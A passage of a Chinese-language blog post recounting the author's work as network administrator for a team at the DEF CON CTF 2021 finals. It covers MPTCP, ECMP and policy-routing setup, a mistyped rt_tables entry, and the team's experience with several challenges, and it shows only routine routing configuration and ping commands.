&lt;p&gt;但仅通过ECMP并不能实现带宽的有效利用，因为在比赛中需要优先保障的是会议层用户和云上服务器之间的高带宽，而OpenVPN只会有一条TCP链路。因此，经过比较了一些方案的性能后，我决定使用&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.multipath-tcp.org&#x2F;&quot;&gt;MPTCP&lt;&#x2F;a&gt;作为会议室网关和云上互联的三层协议。由于我们需要通过OpenVPN实现对接，因此除了更新到较新版本的内核外，还需要将已有的OpenVPN程序适配到MPTCP下。由于时间比较紧张，在不熟悉程序的情况下，重新编译程序比较麻烦。因此我决定使用systemtap&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;access.redhat.com&#x2F;documentation&#x2F;en-us&#x2F;red_hat_enterprise_linux&#x2F;8&#x2F;html&#x2F;configuring_and_managing_networking&#x2F;getting-started-with-multipath-tcp_configuring-and-managing-networking&quot;&gt;修改系统调用的参数&lt;&#x2F;a&gt;（也可以使用&lt;code&gt;LD_PRELOAD&lt;&#x2F;code&gt;实现此目的），从抓包中便可以看到，服务器和客户端之间已经带着MPTCP相关的协议头在公网链路上进行三次握手了：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;defcon-devops-recooord&#x2F;.&#x2F;mptcp_3way_handshake.png&quot; alt=&quot;带着mptcp的三次握手&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;理论上，只要给服务器再增加一些公网IP，就可以让mptcp在多条链路上建立通信，从而发挥ECMP的负载均衡作用，实现VPN内的高带宽和强可靠性了。但在我们的场景中，仅是这样，还不足以让mptcp发挥作用。因为在我们的云服务器中，由于采用了私有网络，因此服务器上网卡的IP地址都是某个子网的私有地址，而非这个网卡对应的公网IP。为了在不做重度修改的情况下，让通信双方发现服务器所具备的公网IP，还需要使用&lt;code&gt;ip mptcp endpoint&lt;&#x2F;code&gt;命令进行&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man8&#x2F;ip-mptcp.8.html&quot;&gt;一些修改&lt;&#x2F;a&gt;，这样就可以了。我们选择了两条链路作为测试，如图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;defcon-devops-recooord&#x2F;.&#x2F;ecmped_mptcp_bandwidth.png&quot; alt=&quot;可以突破单线带宽&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;除此之外，吸取了去年的教训，对传数据包这种重要性一般、但代价极大的业务用公网定期rsync，对其他一些反馈过的问题也做的调整。此外，除了将所有服务器加入netdata外，本次也在netdata上配置了更多的监控告警规则，防止发生网没了但自己不知道的尴尬情况。&lt;&#x2F;p&gt;
&lt;p&gt;在决赛前一周的练习赛前，上述网络就已经准备好了。但在练习赛中，有同学反应自己上网非常困难。经过检查，感觉是交换机的DNS转发服务如果直接使用公网的DNS服务器会有问题，因此我决定在网关上加布一个SmartDNS作为缓存服务器，将查询转发到这台缓存服务器上（flag1）。调整后，仅有零星几个请求出现了问题，我感觉应该是偶发问题，可能和对端有关，因此没有深入看（flag2）。不过当时也没想这么多，训练赛结束后，将所有用到的命令、脚本等整理到一个在线文档后，就开始等待决赛。现在回头看，没处理好这两个flag，给比赛中的基础设施带来了不少麻烦，幸亏有这个在线文档，救了一命。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;a-roll&quot;&gt;A-roll&lt;&#x2F;h3&gt;
&lt;p&gt;决赛那周的周一晚上，因为一些其他事情，我不得不临时离开比赛地。直到比赛开始的六小时前，我还被堵在首都机场高速上。在此期间，在现场的rambou、digle等大佬们，已经从我零散的文档中推断出了一些网络规划，并已经帮忙大致铺设好了遍布五个会议室的所有网线，总长度约300米。比赛前一小时，我终于回到了比赛现场，马上打开电脑开始部署，借助之前整理好的在线文档完成了启动，顺便帮忙整理了剩下的一些网线，总算是没有耽误比赛，但原本在比赛之前预留的一小时网络测试时间就不见了。&lt;&#x2F;p&gt;
&lt;p&gt;因为今年是线上、线下混合模式的比赛，所以和往年的线下比赛一样，分三轮进行，setup时间是每天凌晨0点。为了保证线上队伍和线下队伍有尽量公平的环境，OOO要求所有队伍都使用jumpbox接入比赛网络，他们的服务也都部署在云上。按照往年的经验，DEF CON现场的网络不是很稳定，偶尔会有奇怪的断网行为，但估计是因为疫情影响，没有太多队伍在Discord频道里反馈有断网的问题。&lt;&#x2F;p&gt;
&lt;p&gt;周六凌晨一点，比赛开始，但随后大家就反馈访问网络断断续续的，从抓包结果看似乎依然是DNS问题，登上交换机一看，原来是训练赛时候设置的DNS没有保存，还在往外网的DNS服务器发送请求。因为DNS是工作在转发模式，所以修改配置后可以立刻生效。但似乎依然不能访问team interface，不久Zardus在公屏通知大家，比赛因为网络问题延迟一小时开始，并顺手发送了第一道题目。&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;dttw.tech&#x2F;posts&#x2F;ByGpq5bgt#:~:text=a%20bit%20late.-,Zero%20is%20You,-The%20first%20problem&quot;&gt;PPP的Writeup&lt;&#x2F;a&gt;里大概介绍了这个题目，很有趣，赛后我也玩了一会，不过在比赛时，完全没有时间顾及这道题目，因为要在服务器上跑起来各种脚本。&lt;&#x2F;p&gt;
&lt;p&gt;在若干脚本中，其中一个脚本是负责获取当前比赛信息的。在OOO的比赛中，所有数据会通过一个&lt;code&gt;game_state.json&lt;&#x2F;code&gt;提供出来，我们则用一个非常简单的&lt;code&gt;while true; do ... done&lt;&#x2F;code&gt;每隔一段时间抓取这个json，并将解析后的结果输出给其他服务。按照正常的放题规律，在比赛初期这个文件应该只有几k大小，因为放出的题目不多。不过出人意料的是，第一次运行脚本，就拉下了一个1MB的文件。还没等开始分析这个文件，就看到Zardus在公告频道说，PPP已经发现了这个问题并通知了主办方。文件泄漏是他们不小心将测试文件放到了生产环境中，因此为了公平起见，他们决定公布这个泄露的json文件。不久后的captain meeting上，Zardus也说原本600个Flag即下线服务的机制，可能会暂时取消了。&lt;&#x2F;p&gt;
&lt;p&gt;不久后比赛开始，但又有人反应访问外网出现问题，查了半天发现是那台Netgear路由器不知道怎么回事，二层表现很奇怪，用户间不能互相访问，而且在网络上乱发一些二层报文。感觉可能是要寿终正寝了，加上感觉来的人也不多，甚至有一个会议室是空的，索性把空会议室的路由器挪用过去，就解决问题了。回到椅子上感叹，可能网管就是这样吧，用最简单的思路解决最低级的问题……&lt;&#x2F;p&gt;
&lt;p&gt;没等感叹完，又有人报警了，而且是连同自己的监控脚本一起报警的，是访问外网偶有超时、链接不上等等，不过对到比赛网络的VPN链接没有影响。看了半天流量和抓包结果，没有头绪，感觉是偶发问题，但在部分同学的机器上甚至无法访问网络，像极了在测试赛中的那个没有回收的flag。因为流量比较大，大家也都在比赛，找用户抓包显然是一个不太讲道理的选择。考虑到只影响一部分用户，且不影响比赛流量，感觉还是等这一轮比赛结束后再处理比较好，索性让有问题的用户先用VPN连，自己也不准备再看题了，还是看网络情况，保证大家能做题比较要紧，直到第一轮比赛结束，没有太严重的问题。&lt;&#x2F;p&gt;
&lt;p&gt;第一轮比赛结束后，趁着大多数人都去睡觉，用户不多，开始修网。此前提过，为了实现对多条外网带宽的负载均衡，我们使用了ECMP，同时也使用了MPTCP。一般来说，在这种情况下，要使用&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man8&#x2F;ip-rule.8.html&quot;&gt;策略路由&lt;&#x2F;a&gt;，然后设置好这样的路由表：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# route table eth1, gateway 192.168.1.254&#x2F;24&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;default via 192.168.1.254 dev eth1 src 192.168.1.1 table eth1table &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;192.168.1.0&#x2F;24 on link  table eth1table ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# route table eth2, gateway 192.168.2.254&#x2F;24&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;default via 192.168.2.254 dev eth2 src 192.168.2.1 table eth2table&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;192.168.2.0&#x2F;24 on link table eth2table ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;并添加这样的策略：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;3000: from 192.168.1.1 lookup table eth1table&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;3000: from 192.168.2.1 lookup table eth2table&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样的目的，是保证流量被正确的发送到对应的网卡上。这样，理论上，我们可以用这样的一条命令，来测试&lt;code&gt;eth1&lt;&#x2F;code&gt;这条链路的状况：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ping&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; --interface&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 192.168.1.1 192.168.1.254&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; # test link&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ping&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; --interface&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 192.168.1.1 1.1.1.1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;       # test network&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样，在默认路由表中，加入一条：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;default &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    nexthop via 192.168.1.254 dev eth1 src 192.168.1.1 weight 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    nexthop via 192.168.2.254 dev eth2 src 192.168.2.1 weight 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;来方便的控制路由。此外，通过使用上面的命令检查链路状态，可以在检测到某条链路出现问题时，用&lt;code&gt;ip link set dev eth1 down&lt;&#x2F;code&gt;关掉，从而保证默认路由不受影响。然而在抓包过程中，意外发现，上面两条用来测试eth1网卡的ping命令，会在eth2网卡上发出ICMP包，源地址却还是eth1网卡的源地址。由于上游链路的限制比较多，这个包显然会被上游直接丢掉。使用&lt;code&gt;iptables&lt;&#x2F;code&gt;的&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man8&#x2F;iptables-extensions.8.html#:~:text=This%20target%20marks%20packets%20so%20that%20the%20kernel%20will%20log%20every%20rule%0A%20%20%20%20%20%20%20which%20match%20the%20packets%20as%20those%20traverse%20the%20tables%2C%20chains%2C%0A%20%20%20%20%20%20%20rules.%20It%20can%20only%20be%20used%20in%20the%20raw%20table.&quot;&gt;&lt;code&gt;trace&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;后，发现并不是netfilter导致的问题。此外，前面提到过的systemtap程序仅对openvpn起作用，按理讲不会影响ping才对。看来是路由层面出现的问题，百思不得其解之时，查看了下路由表的内容：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# ip route show table eth1table&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;default via 192.168.2.254 dev eth2 src 192.168.2.1 table eth2table&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;192.168.2.0&#x2F;24 on link table eth2table ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;很灵异。为什么查看的是&lt;code&gt;eth1table&lt;&#x2F;code&gt;，返回的却是&lt;code&gt;eth2table&lt;&#x2F;code&gt;？突然想起来，内核实际并不用名字来区分路由表，而是用一个编号。名字和编号的对应关系，定义在&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;linux-ip.net&#x2F;html&#x2F;routing-tables.html&quot;&gt;&lt;code&gt;rt_tables&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;中。打开一看，果然不出所料：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;30    eth1table&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;30    eth2table&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;40    eth3table&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;40    eth4table&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;不同的编号被赋予了相同的名字……想来是配置的时候太困导致打错字。而和云端互联的VPN通道之所以没有受影响，是因为我们给云端的VPN通道分配了4个IP，加上MPTCP的保证，只要有一个IP恰好被分配到正确的路由表项上，就不会出问题。总之，这是一个非常低级的错误。&lt;&#x2F;p&gt;
&lt;p&gt;修好后，感觉没什么事做，被bigtang师傅叫去看&lt;code&gt;broadcooom&lt;&#x2F;code&gt;，帮忙分析了一部分交互逻辑。这个题实际上是泄漏出题目的一部分，归属于&lt;code&gt;ooows&lt;&#x2F;code&gt;系列。从名字也能看出来，是做了一套虚拟化的体系，而这个题自然是neta了&lt;code&gt;broadcom&lt;&#x2F;code&gt;，写了一张虚拟网卡，可以放在不同的主机上，通过&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;mosquitto.org&#x2F;&quot;&gt;&lt;code&gt;mosquitto&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;（MQTT）实现通信。MQTT本质上是基于pub&#x2F;sub的，客户端连上服务器后，可以对某个topic发消息，也可以收某个topic的消息。在这个题中，MQTT大概是被当成一个二层的&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Ethernet_hub&quot;&gt;集线器（hub）&lt;&#x2F;a&gt;来用，是真的hub，发消息后所有人都会收到，然后根据发送的id和vpcid来决定是否要把数据交给网卡的firmware。网卡的firmware比较有意思，听其他同学介绍是自定义了一个cpu，这个cpu有4个虚拟的核，执行方式有点像&lt;code&gt;node&lt;&#x2F;code&gt;的事件循环机制，在A核上会一直处理，直到阻塞在队列上，然后去B核处理事件循环……大概是这个样子，不过我并没看这部分。除了让我想起了&lt;code&gt;node.js&lt;&#x2F;code&gt;外，不由得想起了去年决赛和今年预选赛，让我受益匪浅的曼彻斯特机……&lt;&#x2F;p&gt;
&lt;h3 id=&quot;b-roll&quot;&gt;B-roll&lt;&#x2F;h3&gt;
&lt;p&gt;解决了各种混乱的事情后，已经离下一轮比赛开始没多久了。第二轮比赛开始后，见网络没有大问题，就去睡觉了。没想到睡了三个小时不到，被space从梦中叫醒，说网络又出问题了。从气垫床上爬起来，登上网关一看，外网链路有一大半处于不可用的状态，二层的广播包尚且有反应，但三层到网关完全不通。想了想，应该是坑爹的上游链路问题，难道是一段时间没有发DHCP包就会被踢下线？于是手动renew下，一切正常了，继续回去试图睡觉，幸好不影响VPN链路……&lt;&#x2F;p&gt;
&lt;p&gt;睡自然是睡不了多久的。醒来回到座位呆了一会，就听到&lt;code&gt;www&lt;&#x2F;code&gt;题目被放出来了。此时已经完全不清楚大家都在干什么（因为睡觉的时间点不是很对），于是跟着看了看。应space的需求，写了个脚本，循环检测跳板机上的密钥是否存在，如果不存在的话重置密钥和rsync，然后拉回流量，顺便把网络内到这个题目的网段&lt;code&gt;13.37.0.0&#x2F;16&lt;&#x2F;code&gt;和&lt;code&gt;192.168.0.0&#x2F;16&lt;&#x2F;code&gt;，经过&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;darkk&#x2F;redsocks&quot;&gt;&lt;code&gt;redsocks&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;处理后，通过跳板机发走。不过工作量实际不多，主要的经历都分配在如何在碰路由表的时候防止服务中断，以及如何配置&lt;code&gt;redsocks&lt;&#x2F;code&gt;，顺便将这个题目的分数单独爬出来，灌到数据库里，以便可视化使用。&lt;&#x2F;p&gt;
&lt;p&gt;想来也是有趣，我的网络知识大多拜GFW所赐，但基本都在CTF中派上过用场。&lt;&#x2F;p&gt;
&lt;p&gt;此外因为KoH的一些脚本耗费资源过大，导致内存爆炸，因此将脚本单独放到了一台服务器上跑，再次证明了预先做准备的重要性……这个题给我的感觉是，所有人乘着时光机回到了2003年：&lt;&#x2F;p&gt;
&lt;p&gt;你手里有一个0day，有一个ISDN Modem，有一堆没有打补丁的机器，你要做什么？&lt;&#x2F;p&gt;
&lt;p&gt;主办方后来还说他们还在网内放了几台Windows 2000的机器，不过我们似乎因为扫描流量太多，所以没发现。题目页面也冒着一股西部牛仔的风格，总之这个题也的确是很有意思。&lt;&#x2F;p&gt;
&lt;p&gt;第二天结束后，为了保证第三天的比赛不受影响，我临时将专线级别从铁牌改到了银牌。此外，比赛方面，主办方循例放了几道题，说大家可以在晚上看看，但不确保一定会放题，其中一道是ows系列题目的最后一体题hyper-o。比赛结束不久后，dmxcsnsbh在大群里说这个题有点意思，于是我也被吸引过去看了起来。&lt;&#x2F;p&gt;
&lt;p&gt;题目本身是一个带有符号的kernel module，拖进去一看遍地的&lt;code&gt;VMREAD&lt;&#x2F;code&gt;，再结合&lt;code&gt;hyper-o&lt;&#x2F;code&gt;这个neta，就知道这应该是个&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.intel.com&#x2F;content&#x2F;dam&#x2F;www&#x2F;public&#x2F;us&#x2F;en&#x2F;documents&#x2F;white-papers&#x2F;virtualization-enabling-intel-virtualization-technology-features-and-benefits-paper.pdf&quot;&gt;VMM&lt;&#x2F;a&gt;。队友&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;elnx.github.io&#x2F;def-con-ctf-2021&quot;&gt;拉出了好用的插件&lt;&#x2F;a&gt;，我不懂挖洞，也不懂linux kernel，闲着的话也显得格格不入，于是索性开始从&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;software.intel.com&#x2F;content&#x2F;dam&#x2F;develop&#x2F;external&#x2F;us&#x2F;en&#x2F;documents-tps&#x2F;325462-sdm-vol-1-2abcd-3abcd.pdf&quot;&gt;Intel SDM&lt;&#x2F;a&gt;的22章开始读起，学习一点虚拟化技术，写一点读书笔记。从代码来看，出题形式应该也不会很复杂，将shellcode喂进去就好了。但因为题目的&lt;code&gt;init&lt;&#x2F;code&gt;还没有给出，而整个&lt;code&gt;ows&lt;&#x2F;code&gt;系列也还没出过race，于是我在想，会不会有那么一种可能，一个连接就在VMM里起一台新的虚拟机……以至于最后困的不得了，被dmxcsnsbh拉着一起一个个bit的看虚拟机的启动逻辑，自然也都是一无所获。&lt;&#x2F;p&gt;
&lt;p&gt;为了保证第三阶段我的脑子还在线，索性去睡觉。醒来后才知道大佬们已经在页表中发现了问题，但没来得及写出exploit。其他同学从流量中发现了exploit，通过写寄存器的方法传输flag，虽然只读了一半，不过汇编很容易读，简单修改后我们就抄好了作业。因为这一题的题目始终不太稳定，因此决定将受害者分成几组，分别打。&lt;&#x2F;p&gt;
&lt;p&gt;令人伤心的是，作业还抄的不够开心，这一题就被升级到了第二阶段。这一阶段就和其他题目一样，我们需要上传一个完整的磁盘镜像，虚拟机会从这个磁盘镜像启动，然后运行我们的exp。洞虽然修了，但exp不是很好写。jackyx试图写显存，但似乎因为一些奇怪的原因没有生效。我则从流量中看到了一些可疑的痕迹，但要么重放后没有效果，要么是因为服务问题无法上传到服务器上。OOO中途也重置了几次环境，这样不仅负责patch的xhj需要重传patch，我也要测试下之前传过的镜像是不是可以用……在最后几十分钟，由于一些奇妙的原因，我们和其他队伍都不能访问自己的实例，但可以被打，不由得让我想起了去年的&lt;code&gt;bdooos&lt;&#x2F;code&gt;。无论如何，比赛按照预定的时间结束了。在最后几分钟，我终于完成了本次CTF里，个人影响最大的一件事：公放《&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=9jK-NcRmVcw&quot;&gt;The Final Countdown&lt;&#x2F;a&gt;》&lt;&#x2F;p&gt;
&lt;p&gt;赛后大家拍合照的时候，才意识到今年的人的确比去年多。虽然从WLAN的接入数量上没看出来，但网络流量基本是和去年持平的，可能是因为大家感觉现场公网比较卡，都自己找其他热点了……“网卡”甚至延续到了公布比赛成绩的时候，此时现场临时搭建的网络已经撤除，我在用会议室的Wifi，给大家直播DEF CON TV。奇妙的是，在公布第四名的时候，twitch开始转起了菊花……坏运气真的是能维持到最后一刻。最后大家围成一圈，在space的手机屏幕前，看完了整个闭幕式，也算是一种别样的体验了。&lt;&#x2F;p&gt;
&lt;p&gt;比赛后整理了下服务器上的数据，感觉从流量规模上和去年差不多，没有什么值得一提的。今年由于用了新的网络，也带来了一些问题和反思：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;多备份，多测试，早上线，早测试，真的很重要。虽然是有一些不可抗力的因素在，但一些低级错误（比如写错路由表名字）还是不该发生的；&lt;&#x2F;li&gt;
&lt;li&gt;复杂度太高不好，容易扯〇，但多尝试总是好事（只要不要太影响大家的信心……；&lt;&#x2F;li&gt;
&lt;li&gt;赛中为了应付&lt;code&gt;ogx&lt;&#x2F;code&gt;这个题，一度找不到服务器，看来只靠云也不太行；&lt;&#x2F;li&gt;
&lt;li&gt;今年比赛临时写的三四个脚本里，其实去年都写过，所以资料保存很重要，但复用也很重要。不过这个意义不大了，毕竟明年要换主办方……；&lt;&#x2F;li&gt;
&lt;li&gt;流量调度完全没做，也没有准备，这可能也是www题里大家互相干扰的一个原因，侧面说明协作的重要性；&lt;&#x2F;li&gt;
&lt;li&gt;服务器之间数据共享也有问题，一份流量传N次，不过还好都是在同地域，没有花流量费……。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;除了网络有点抖动外，还为OOO感到可惜的一点是，题目泄漏实在是太出人意料了。按照这个题目难度，遵循600个flag即下线题目的规则，如果不出意外，这些题甚至很可能是大家都做不完的。然而木已成舟，事情已经发生了，也没有别的办法能够补救。&lt;&#x2F;p&gt;
&lt;p&gt;在多人协作方面，实际很容易观察到，人越多，维持协作的成本是几何级上涨的，而&lt;code&gt;idarling&lt;&#x2F;code&gt;等工具在此时带来的麻烦甚至会远多于能解决的问题。我们在多人协作的方式、方法和工具上作出了一些努力，但这还不够，可能还需要更长远的设计，以及更多的资源投入。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;komm-susser-tod&quot;&gt;Komm, süsser Tod&lt;&#x2F;h2&gt;
&lt;p&gt;流水帐很长，也不知道有没有人看。总之最后，姑且作为运维，在OOO的比赛中存活下来了，特此留念，希望老了也不会忘掉。从网管视角里看到的就是这么多了，年纪大了，只能看别人做题。选手视角的有队友&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;elnx.github.io&#x2F;def-con-ctf-2021&quot;&gt;写了一份&lt;&#x2F;a&gt;，其他人或许也会写。&lt;&#x2F;p&gt;
&lt;p&gt;赛后看到了OOO原始的&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;oooverflow.io&#x2F;ooo-dc-cfo-proposal.pdf&quot;&gt;proposal&lt;&#x2F;a&gt;，反复读了两三遍。Zardus、adam和OOO的所有成员，必然是配的上inspiration这几个字的。Legitbs时代是在探索pwn的可能性，而OOO时代则是在探索Attack&#x2F;Defense外的可能性，虽然并不总是能像legitbs一样硬核，但拥有了更宽广的想象空间。在这样糟糕而充满遗憾的、被地缘因素和”大人们”隔离的20年代，能参与这样的ctf比赛，无疑是OOO对CTF社区的馈赠。&lt;&#x2F;p&gt;
&lt;p&gt;很幸运能和这样的一群人打ctf。感谢几年中为比赛提供支持的mamamiya10等同学，能和你们坐在同一块地毯上让我感到很开心。感谢space对本文进行的fact check。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;brieflyx.me&#x2F;2021&#x2F;dc29-memo&#x2F;#:~:text=%E4%B8%8D%E7%9F%A5%E9%81%93%E8%BF%99%E5%9D%97%20CTF%20%E7%95%8C%E7%9A%84%E9%87%91%E5%AD%97%E6%8B%9B%E7%89%8C%E6%9C%AA%E6%9D%A5%E5%B0%86%E4%BC%9A%E5%BE%80%E4%BD%95%E5%A4%84%E5%8E%BB%E2%80%A6%E2%80%A6&quot;&gt;没有人&lt;&#x2F;a&gt;知道下一届defcon ctf会是什么样的，我只希望在逆全球化的浪潮中，还能有这样一个有趣的游戏可以玩。&lt;&#x2F;p&gt;
&lt;p&gt;不过对我自己来说，可能还会夹杂一点额外的私货。最近一年，自己已经离“纯粹的”安全研究远了很多，我熟悉的CTF也不是五年前的CTF了。这并不是坏事，反而让CTF对我来说更有意义，即是认识新朋友的方式，也是和旧识们见面的机会。引用宋教授的&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;maskray.me&#x2F;blog&#x2F;2018-08-13-defcon-26-ctf#:~:text=%E6%AF%8F%E5%B9%B4%E5%85%AB%E6%9C%88%EF%BC%8C%E6%94%BE%E4%B8%8B%E6%89%8B%E9%A0%AD%E7%9A%84%E5%B7%A5%E4%BD%9C%EF%BC%8C%E5%9C%A8Las%20Vegas%E8%A6%8B%E6%95%85%E4%BA%A4%E6%96%B0%E7%9F%A5%EF%BC%8C%E4%B8%A6%E8%82%A9%E4%BD%9C%E6%88%B0%EF%BC%8C%E6%8A%98%E9%A8%B0%E5%B9%B3%E6%99%82%E4%B8%8D%E6%83%B3%E6%8A%98%E9%A8%B0%E7%9A%84%E8%BB%9F%E4%BB%B6%EF%BC%8C%E9%80%9F%E6%88%90%E5%B9%B3%E6%99%82%E7%94%A8%E4%B8%8D%E5%88%B0%E7%9A%84%E6%8A%80%E8%83%BD%EF%BC%8C%E7%B9%BC%E7%BA%8C%E7%99%BC%E5%85%89%E7%99%BC%E7%86%B1(%E8%88%87%E5%85%B6%E8%AE%93%E7%94%9F%E5%91%BD%E7%94%9F%E9%8F%BD)%EF%BC%8C%E4%BA%AB%E5%8F%97%E9%80%99%E6%AE%B5%E6%99%82%E5%85%89%E3%80%82&quot;&gt;一句话&lt;&#x2F;a&gt;：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;每年八月，放下手頭的工作，在Las Vegas見故交新知，並肩作戰，折騰平時不想折騰的軟件，速成平時用不到的技能，繼續發光發熱(與其讓生命生鏽)，享受這段時光。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;（顺便求奖品，啥时候能发货）&lt;&#x2F;p&gt;
